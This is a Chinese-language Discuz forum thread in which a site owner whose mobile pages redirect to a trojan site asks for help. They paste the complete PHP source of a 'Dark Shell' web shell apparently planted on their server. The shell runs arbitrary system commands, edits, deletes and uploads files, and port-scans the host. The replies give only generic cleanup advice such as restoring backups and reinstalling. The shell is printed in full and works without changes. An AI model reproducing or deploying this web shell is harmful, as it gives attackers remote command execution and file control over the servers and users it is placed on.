·设为首页收藏本站📧邮箱修改🎁免费下载专区💎积分✅卡密📒收藏夹👽聊天室
12下一页
返回列表 发布新帖

求助!!! 网站被加木马 ,手机版刚打开正常,一点击就会被跳转

252 15
发表于 2022-3-16 15:15:23 | 查看全部 阅读模式

马上注册,免费下载更多dz插件网资源。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
如标题,网站被加木马 ,手机版刚打开正常,一点击就会被跳转,就算是打开一个外链*(baidu.com)也会被跳转

怒骂如下:
  1. <html><head><title>Dark</title></head><body><style type="text/css">body{background: #E4E4E4;color: #666666;font-family: Verdana;font-size: 11px;}a:link{color: #33CC99;}a:visited{color: #33CC99;}a:hover{text-decoration: none;Color: #3399FF;}table {font-size: 11px;}</style><?phperror_reporting (0);set_time_limit (0);if (empty ($_GET ['dir'])){$dir = getcwd ();}else {$dir = $_GET ['dir'];}chdir ($dir);$current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);echo "<center><h1>Dark Shell</h1></center><p><hr><p>\n";echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "<br>\n";echo "Current directory: " . getcwd () . "<br>\n";echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "<pre>\n\n</pre></i>\n";echo "<pre>\n\n\n</pre>";echo "<table width = 50%>";echo "<tr>";echo "<td><a href = '".$current."&mode=system'>Shell Command</a></td>\n";echo "<td><a href = '".$current."&mode=create'>Create a new file</a></td>\n";echo "<td><a href = '".$current."&mode=upload'>Upload file</a></td>\n";echo "<td><a href = '".$current."&mode=port_scan'>Port Scan</a></td>\n";echo "</tr></table>";echo "<pre>\n\n</pre>";$mode = $_GET ['mode'];switch ($mode){case 'edit':$file = $_GET ['file'];$new = $_POST ['new'];if (empty ($new)){$fp = fopen ($file, "r");$file_cont = fread ($fp, filesize ($file));$file_cont = str_replace ("</textarea>", "<textarea>", $file_cont);echo "<form action = '".$current."&mode=edit&file=".$file."' method = 'POST'>\n";echo "File: ". $file . "<br>\n";echo "<textarea name = 'new' rows = '30' cols = '50'>".$file_cont."</textarea><br>\n";echo "<input type = 'submit' value = 'Edit'></form>\n";}else {$fp = fopen ($file, "w");if (fwrite ($fp, $new)){echo $file . " edited.<p>";}else {echo "Unable to edit " . $file . ".<p>";}}fclose ($fp);break;case 'delete':$file = $_GET ['file'];if (unlink ($file)){echo $file . " deleted successfully.<p>";}else {echo "Unable to delete " . $file . ".<p>";}break;case 'copy':$src = $_GET ['src'];$dst = $_POST ['dst'];if (empty ($dst)){echo "<form action = '".$current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";echo "Destination: <input name = 'dst'><br>\n";echo "<input type = 'submit' value = 'Copy'></form>\n";}else {if (copy ($src, $dst)){echo "File copied successfully.<p>\n";}else {echo "Unable to copy " . $src . ".<p>\n";}}break;case 'move':$src = $_GET ['src'];$dst = $_POST ['dst'];if (empty ($dst)){echo "<form action = '".$current . "&mode=move&src=" . $src . "' method = 'POST'>\n";echo "Destination: <input name = 'dst'><br>\n";echo "<input type = 'submit' value = 'Move'></form>\n";}else {if (rename ($src, $dst)){echo "File moved successfully.<p>\n";}else {echo "Unable to move " . $src . ".<p>\n";}}break;case 'rename':$old = $_GET ['old'];$new = $_POST ['new'];if (empty ($new)){echo "<form action = '".$current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";echo "New name: <input name = 'new'><br>\n";echo "<input type = 'submit' value = 'Rename'></form>\n";}else {if (rename ($old, $new)){echo "File/Directory renamed successfully.<p>\n";}else {echo "Unable to rename " . $old . ".<p>\n";}}break;case 'rmdir':$rm = $_GET ['rm'];if (rmdir ($rm)){echo "Directory removed successfully.<p>\n";}else {echo "Unable to remove " . $rm . ".<p>\n";}break;case 'system':$cmd = $_POST ['cmd'];if (empty ($cmd)){echo "<form action = '".$current . "&mode=system' method = 'POST'>\n";echo "Shell Command: <input name = 'cmd'>\n";echo "<input type = 'submit' value = 'Run'></form><p>\n";}else {system ($cmd);}break;case 'create':$new = $_POST ['new'];if (empty ($new)){echo "<form action = '".$current . "&mode=create' method = 'POST'>\n";echo "<tr><td>New file: <input name = 'new'></td>\n";echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";}else {if ($fp = fopen ($new, "w")){echo "File created successfully.<p>\n";}else {echo "Unable to create ".$file.".<p>\n";}fclose ($fp);}break;case 'upload':$temp = $_FILES['upload_file']['tmp_name'];$file = basename($_FILES['upload_file']['name']);if (empty ($file)){echo "<form action = '".$current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";unlink ($temp);}else {echo "Unable to upload " . $file . ".<p>\n";}}break;case 'port_scan':$port_range = $_POST ['port_range'];if (empty ($port_range)){echo "<table><form action = '".$current. "&mode=port_scan' method = 'POST'>";echo "<tr><td><input type = 'text' name = 'port_range'></td><td>";echo "Enter port range where you want to do port scan (ex.: 0:65535)</td></tr>";echo "<tr><td><input type = 'submit' value = 'Port Scan'></td></tr></form></table>";}else {$range = explode (":", $port_range);if ((!is_numeric ($range [0])) or (!is_numeric ($range [1]))){echo "Bad parameters.<br>";}else {$host = 'localhost';$from = $range [0];$to = $range [1];echo "Open ports:<br>";while ($from <= $to){$var = 0;$fp = fsockopen ($host, $from) or $var = 1;if ($var == 0){echo $from . "<br>";}$from++;fclose ($fp);}}}break;}clearstatcache ();echo "<pre>\n\n</pre>";echo "<table width = 100%>\n";$files = scandir ($dir);foreach ($files as $file){if (is_file ($file)){$size = round (filesize ($file) / 1024, 2);echo "<tr><td>".$file."</td>";echo "<td>".$size." KB</td>";echo "<td><a href = ".$current . "&mode=edit&file=".$file.">Edit</a></td>\n";echo "<td><a href = ".$current . "&mode=delete&file=".$file.">Delete</a></td>\n";echo "<td><a href = ".$current . "&mode=copy&src=".$file.">Copy</a></td>\n";echo "<td><a href = ".$current . "&mode=move&src=".$file.">Move</a></td>\n";echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Remame</a></td></tr>\n";}else {$items = scandir ($file);$items_num = count ($items) - 2;echo "<tr><td>".$file."</td>";echo "<td>".$items_num." Items</td>";echo "<td><a href = ".$current . "/" . $file.">Change directory</a></td>\n";echo "<td><a href = ".$current . "&mode=rmdir&rm=".$file.">Remove directory</a></td>\n";echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Rename directory</a></td></tr>\n";}}echo "</table>\n";?>
复制代码
我要说一句 收起回复
创宇盾启航版免费网站防御网站加速服务

评论15

拾光Lv.8 发表于 2022-3-16 15:16:18 | 查看全部
我来解决
我要说一句 收起回复
婷姐Lv.8 发表于 2022-3-16 15:17:06 | 查看全部
哟呵    中毒了
我要说一句 收起回复
独家记忆Lv.8 发表于 2022-3-16 15:17:58 | 查看全部
主要是点击就会被跳转,就算我网站上挂个外链到 4144.cn   也会被跳到木马网站
我要说一句 收起回复
拾光Lv.8 发表于 2022-3-16 15:18:47 | 查看全部
这个很好解决的
我要说一句 收起回复
TyCodingLv.8 发表于 2022-3-16 15:19:14 | 查看全部
我一般是备份数据,然后直接重新安装系统
我要说一句 收起回复
独家记忆Lv.8 发表于 2022-3-16 15:19:41 | 查看全部
可以检测一下
我要说一句 收起回复
婷姐Lv.8 发表于 2022-3-16 15:20:41 | 查看全部
网站有备份的情况下,用备份文件覆盖,最后打补顶,查漏洞。
我要说一句 收起回复
拾光Lv.8 发表于 2022-3-16 15:21:25 | 查看全部
目测没有看到问题,检查一下其他问题吧。
我要说一句 收起回复
拾光Lv.8 发表于 2022-3-16 15:22:01 | 查看全部
先测试代码,再测试服务器是否中毒了
我要说一句 收起回复

回复

 懒得打字嘛,点击右侧快捷回复【查看最新发布】   【应用商城享更多资源】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

创宇盾启航版免费网站防御网站加速服务
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:3.145.105.85,GMT+8, 2024-12-22 16:28 , Processed in 0.341226 second(s), 130 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2024 Discuz! Team.

关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表